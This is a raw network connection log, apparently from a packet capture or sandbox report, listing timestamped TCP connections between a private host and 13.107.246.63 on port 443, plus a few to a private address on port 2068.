Nov 23, 2024 21:12:37.039622068 CET	49895	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:37.039829016 CET	49895	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:37.039841890 CET	443	49895	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:38.909262896 CET	443	49892	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:38.910804987 CET	443	49891	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:38.910819054 CET	443	49893	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:38.985321045 CET	49892	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:38.985373974 CET	443	49892	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:38.985985994 CET	49892	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:38.986001015 CET	443	49892	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:38.986416101 CET	49891	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:38.986428976 CET	443	49891	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:38.987014055 CET	49891	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:38.987019062 CET	443	49891	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:38.987425089 CET	49893	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:38.987446070 CET	443	49893	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:38.988059998 CET	49893	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:38.988069057 CET	443	49893	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.137829065 CET	443	49895	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.138705969 CET	49895	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.138730049 CET	443	49895	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.139257908 CET	49895	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.139271021 CET	443	49895	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.151212931 CET	443	49894	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.151905060 CET	49894	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.151925087 CET	443	49894	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.152654886 CET	49894	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.152661085 CET	443	49894	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.360184908 CET	443	49892	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.360244989 CET	443	49892	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.360315084 CET	49892	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.367388964 CET	443	49891	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.367465019 CET	443	49891	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.367501020 CET	49891	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.368180990 CET	443	49893	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.368321896 CET	443	49893	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.368632078 CET	49892	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.368673086 CET	443	49892	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.368702888 CET	49892	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.368720055 CET	443	49892	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.368824005 CET	49893	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.368921041 CET	49891	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.368940115 CET	443	49891	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.368949890 CET	49891	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.368956089 CET	443	49891	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.369993925 CET	49893	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.370013952 CET	443	49893	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.370027065 CET	49893	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.370032072 CET	443	49893	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.374250889 CET	49897	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.374310970 CET	443	49897	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.374367952 CET	49897	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.375150919 CET	49898	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.375195980 CET	443	49898	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.375246048 CET	49898	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.375408888 CET	49897	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.375430107 CET	443	49897	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.375633955 CET	49898	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.375637054 CET	49899	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.375650883 CET	443	49898	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.375658035 CET	443	49899	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.375745058 CET	49899	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.375853062 CET	49899	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.375869036 CET	443	49899	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.606831074 CET	443	49894	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.606925011 CET	443	49894	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.606971979 CET	49894	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.607146025 CET	49894	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.607170105 CET	443	49894	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.607182980 CET	49894	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.607188940 CET	443	49894	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.609293938 CET	443	49895	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.609369040 CET	443	49895	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.609477043 CET	49895	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.609541893 CET	49895	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.609541893 CET	49895	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.609565020 CET	443	49895	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.609575987 CET	443	49895	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.610460043 CET	49900	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.610513926 CET	443	49900	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.610582113 CET	49900	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.611434937 CET	49900	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.611453056 CET	443	49900	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.612859011 CET	49901	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.612893105 CET	443	49901	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:39.612947941 CET	49901	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.613070011 CET	49901	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:39.613082886 CET	443	49901	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.185110092 CET	443	49897	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.186189890 CET	49897	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.186229944 CET	443	49897	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.187022924 CET	49897	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.187031031 CET	443	49897	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.248568058 CET	443	49898	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.250010967 CET	49898	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.250049114 CET	443	49898	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.253891945 CET	49898	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.253901005 CET	443	49898	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.283039093 CET	443	49899	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.321400881 CET	49899	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.321444988 CET	443	49899	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.322295904 CET	49899	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.322305918 CET	443	49899	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.336819887 CET	49869	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:12:41.458550930 CET	2068	49869	192.168.68.139	192.168.2.4
Nov 23, 2024 21:12:41.475492954 CET	443	49901	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.493613958 CET	443	49900	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.564150095 CET	49901	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.564158916 CET	443	49901	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.564735889 CET	49901	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.564739943 CET	443	49901	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.565888882 CET	49900	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.565923929 CET	443	49900	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.566817045 CET	49900	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.566823959 CET	443	49900	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.626290083 CET	443	49897	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.626451015 CET	443	49897	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.626511097 CET	49897	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.626810074 CET	49897	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.626835108 CET	443	49897	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.630469084 CET	49903	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.630510092 CET	443	49903	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.630568981 CET	49903	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.630707026 CET	49903	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.630723000 CET	443	49903	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.724997044 CET	443	49898	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.725094080 CET	443	49898	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.725155115 CET	49898	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.725447893 CET	49898	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.725478888 CET	443	49898	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.725488901 CET	49898	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.725495100 CET	443	49898	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.728929996 CET	49904	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.728990078 CET	443	49904	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.729048014 CET	49904	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.729195118 CET	49904	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.729213953 CET	443	49904	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.768548012 CET	443	49899	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.768627882 CET	443	49899	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.768673897 CET	49899	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.768902063 CET	49899	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.768923998 CET	443	49899	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.768938065 CET	49899	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.768944979 CET	443	49899	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.771964073 CET	49905	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.771998882 CET	443	49905	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.772063971 CET	49905	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.772171021 CET	49905	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:41.772186041 CET	443	49905	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:41.922213078 CET	49869	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:12:42.009418964 CET	443	49901	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:42.009497881 CET	443	49901	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:42.009723902 CET	49901	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:42.009773970 CET	49901	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:42.009773970 CET	49901	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:42.009787083 CET	443	49901	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:42.009795904 CET	443	49901	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:42.012516022 CET	49906	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:42.012584925 CET	443	49906	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:42.012792110 CET	49906	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:42.013026953 CET	49906	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:42.013047934 CET	443	49906	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:42.017651081 CET	443	49900	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:42.017725945 CET	443	49900	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:42.017868996 CET	49900	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:42.017939091 CET	49900	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:42.017939091 CET	49900	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:42.017960072 CET	443	49900	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:42.017971039 CET	443	49900	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:42.023335934 CET	49907	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:42.023364067 CET	443	49907	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:42.023550034 CET	49907	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:42.023706913 CET	49907	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:42.023721933 CET	443	49907	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:42.041821957 CET	2068	49869	192.168.68.139	192.168.2.4
Nov 23, 2024 21:12:43.542408943 CET	443	49905	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:43.543034077 CET	49905	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:43.543051004 CET	443	49905	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:43.543610096 CET	49905	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:43.543616056 CET	443	49905	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:43.579854965 CET	443	49903	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:43.582684994 CET	49903	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:43.582698107 CET	443	49903	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:43.584685087 CET	49903	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:43.584688902 CET	443	49903	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:43.719611883 CET	443	49904	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:43.721900940 CET	49904	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:43.721935987 CET	443	49904	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:43.722593069 CET	49904	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:43.722599983 CET	443	49904	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:43.866615057 CET	443	49907	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:43.873414993 CET	49907	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:43.873445034 CET	443	49907	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:43.874064922 CET	49907	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:43.874069929 CET	443	49907	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:43.937244892 CET	443	49906	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.011019945 CET	443	49905	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.011090994 CET	443	49905	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.015335083 CET	443	49905	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.015403032 CET	49905	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.015491009 CET	49905	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.018354893 CET	49906	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.095237970 CET	443	49903	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.095293999 CET	443	49903	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.095364094 CET	49903	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.095372915 CET	443	49903	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.095457077 CET	443	49903	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.096178055 CET	49903	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.136187077 CET	49906	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.136187077 CET	49906	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.136220932 CET	443	49906	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.136245012 CET	443	49906	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.137178898 CET	49905	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.137178898 CET	49905	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.137202978 CET	443	49905	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.137207985 CET	443	49905	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.141746998 CET	49903	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.141765118 CET	443	49903	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.141797066 CET	49903	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.141803026 CET	443	49903	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.144699097 CET	49908	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.144723892 CET	443	49908	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.145194054 CET	49908	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.145306110 CET	49908	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.145313978 CET	443	49908	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.145438910 CET	49909	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.145546913 CET	443	49909	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.146159887 CET	49909	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.146337986 CET	49909	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.146372080 CET	443	49909	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.410326958 CET	443	49907	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.410351992 CET	443	49907	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.410425901 CET	443	49907	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.410458088 CET	49907	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.410480022 CET	49907	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.410753965 CET	49907	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.410768986 CET	443	49907	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.410801888 CET	49907	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.410809040 CET	443	49907	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.413475990 CET	49910	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.413502932 CET	443	49910	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.413649082 CET	49910	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.415079117 CET	49910	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.415095091 CET	443	49910	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.429637909 CET	443	49904	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.429728985 CET	443	49904	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.430831909 CET	49904	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.430831909 CET	49904	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.430891991 CET	49904	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.430917025 CET	443	49904	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.434370041 CET	49911	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.434412003 CET	443	49911	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.434704065 CET	49911	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.434807062 CET	49911	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.434823990 CET	443	49911	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.532099009 CET	443	49906	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.532121897 CET	443	49906	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.532249928 CET	49906	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.532267094 CET	443	49906	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.532447100 CET	49906	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.532448053 CET	49906	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.532469034 CET	443	49906	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.532629967 CET	443	49906	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.532663107 CET	443	49906	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.532751083 CET	49906	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.535201073 CET	49912	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.535239935 CET	443	49912	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:44.535516977 CET	49912	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.535607100 CET	49912	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:44.535640001 CET	443	49912	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:45.999155998 CET	443	49909	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.000418901 CET	49909	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.000418901 CET	49909	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.000505924 CET	443	49909	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.000536919 CET	443	49909	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.002342939 CET	443	49908	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.003698111 CET	49908	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.003710032 CET	443	49908	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.007344961 CET	49908	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.007350922 CET	443	49908	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.163748980 CET	443	49912	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.167800903 CET	49912	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.167825937 CET	443	49912	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.168692112 CET	49912	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.168697119 CET	443	49912	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.308094025 CET	443	49910	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.311853886 CET	49910	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.311887026 CET	443	49910	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.312339067 CET	49910	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.312345982 CET	443	49910	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.338963032 CET	443	49911	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.340472937 CET	49911	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.340473890 CET	49911	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.340507030 CET	443	49911	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.340531111 CET	443	49911	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.617856026 CET	443	49909	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.617882967 CET	443	49909	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.618515015 CET	443	49909	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.621819973 CET	49909	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.643210888 CET	443	49908	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.646262884 CET	443	49908	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.647655964 CET	49908	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.676503897 CET	49909	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.676526070 CET	443	49909	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.676551104 CET	49909	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.676558018 CET	443	49909	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.679152012 CET	443	49912	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.682219982 CET	443	49912	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.683461905 CET	49912	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.697403908 CET	49908	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.697427034 CET	443	49908	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.697455883 CET	49908	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.697463036 CET	443	49908	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.762557030 CET	49912	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.762592077 CET	443	49912	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.762653112 CET	49912	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.762660027 CET	443	49912	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.795828104 CET	443	49910	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.799470901 CET	443	49910	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.799689054 CET	49910	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.802768946 CET	49910	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.802786112 CET	443	49910	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.802813053 CET	49910	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.802818060 CET	443	49910	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.806730032 CET	49913	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.806773901 CET	443	49913	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.806855917 CET	49913	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.807691097 CET	443	49911	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.808278084 CET	49913	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.808283091 CET	49914	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.808301926 CET	443	49913	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.808309078 CET	443	49914	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.808388948 CET	49914	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.809418917 CET	49915	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.809432030 CET	49914	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.809437990 CET	443	49915	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.809444904 CET	443	49914	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.809495926 CET	49915	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.809794903 CET	49915	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.809808969 CET	443	49915	13.107.246.63	192.168.2.4
